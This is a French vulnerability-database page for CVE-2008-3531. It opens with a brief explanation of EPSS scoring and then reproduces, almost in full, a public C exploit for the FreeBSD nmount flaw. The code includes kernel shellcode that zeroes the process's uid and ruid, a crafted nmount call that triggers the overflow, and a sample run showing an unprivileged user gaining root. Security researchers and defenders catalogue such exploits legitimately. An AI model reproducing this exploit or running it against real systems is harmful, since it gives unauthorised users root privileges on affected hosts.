CVE-2008-3531 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* * cve-2008-3531.c -- Patroklos Argyroudis, argp at domain census-labs.com * * Privilege escalation exploit for the FreeBSD-SA-08:08.nmount * (CVE-2008-3531) vulnerability: * * http://security.freebsd.org/advisories/FreeBSD-SA-08:08.nmount.asc * http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-3531 * * For a detailed analysis see: * * http://census-labs.com/news/2009/07/02/cve-2008-3531-exploit/ * * Sample run: * * [argp@leon ~]$ uname -rsi * FreeBSD 7.0-RELEASE GENERIC * [argp@leon ~]$ sysctl vfs.usermount * vfs.usermount: 1 * [argp@leon ~]$ id * uid=1001(argp) gid=1001(argp) groups=1001(argp) * [argp@leon ~]$ gcc -Wall cve-2008-3531.c -o cve-2008-3531 * [argp@leon ~]$ ./cve-2008-3531 * [*] vptr = 0x006e776f * [*] calling nmount() * nmount: Unknown error: -1036235776 * [argp@leon ~]$ id * uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp) * * $Id: cve-2008-3531.c,v 846ca34be34a 2009/02/29 11:05:02 argp $ */ #include <sys/param.h> #include <sys/mount.h> #include <sys/uio.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sysexits.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/mman.h> #define BUFSIZE 249 #define PAGESIZE 4096 #define ADDR 0x6e7000 #define OFFSET 1903 #define FSNAME "msdosfs" #define DIRPATH "/tmp/msdosfs" unsigned char kernelcode[] = "\x64\xa1\x00\x00\x00\x00" /* movl %fs:0, %eax # get curthread */ "\x8b\x40\x04" /* movl 0x4(%eax), %eax # get proc from curthread */ "\x8b\x40\x30" /* movl 0x30(%eax),%eax # get ucred from proc */ "\x31\xc9" /* xorl %ecx, %ecx # ecx = 0 */ "\x89\x48\x04" /* movl %ecx, 0x4(%eax) # ucred.uid = 0 */ "\x89\x48\x08" /* movl %ecx, 0x8(%eax) # ucred.ruid = 0 */ /* # return to the pre-previous function, i.e. vfs_donmount() */ "\x81\xc4\xe8\x00\x00\x00" /* addl $0xe8, %esp */ "\x5b" /* popl %ebx */ "\x5e" /* popl %esi */ "\x5f" /* popl %edi */ "\x5d" /* popl %ebp */ "\xc3"; /* ret */ int main() { void *vptr; struct iovec iov[6]; vptr = mmap((void *)ADDR, PAGESIZE, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); if(vptr == MAP_FAILED) { perror("mmap"); exit(EXIT_FAILURE); } vptr += OFFSET; printf("[*] vptr = 0x%.8x\n", (unsigned int)vptr); memcpy(vptr, kernelcode, (sizeof(kernelcode) - 1)); mkdir(DIRPATH, 0700); iov[0].iov_base = "fstype"; iov[0].iov_len = strlen(iov[0].iov_base) + 1; iov[1].iov_base = FSNAME; iov[1].iov_len = strlen(iov[1].iov_base) + 1; iov[2].iov_base = "fspath"; iov[2].iov_len = strlen(iov[2].iov_base) + 1; iov[3].iov_base = DIRPATH; iov[3].iov_len = strlen(iov[3].iov_base) + 1; iov[4].iov_base = calloc(BUFSIZE, sizeof(char)); if(iov[4].iov_base == NULL) { perror("calloc"); rmdir(DIRPATH); exit(EXIT_FAILURE); } memset(iov[4].iov_base, 0x41, (BUFSIZE - 1)); iov[4].iov_len = BUFSIZE; iov[5].iov_base = "BBBB"; iov[5].iov_len = strlen(iov[5].iov_base) + 1; printf("[*] calling nmount()\n"); if(nmount(iov, 6, 0) < 0) { perror("nmount"); rmdir(DIRPATH); exit(EXIT_FAILURE); } printf("[*] unmounting and deleting %s\n", DIRPATH); unmount(DIRPATH, 0); rmdir(DIRPATH); return EXIT_SUCCESS; } // milw0rm.com [2009-07-09]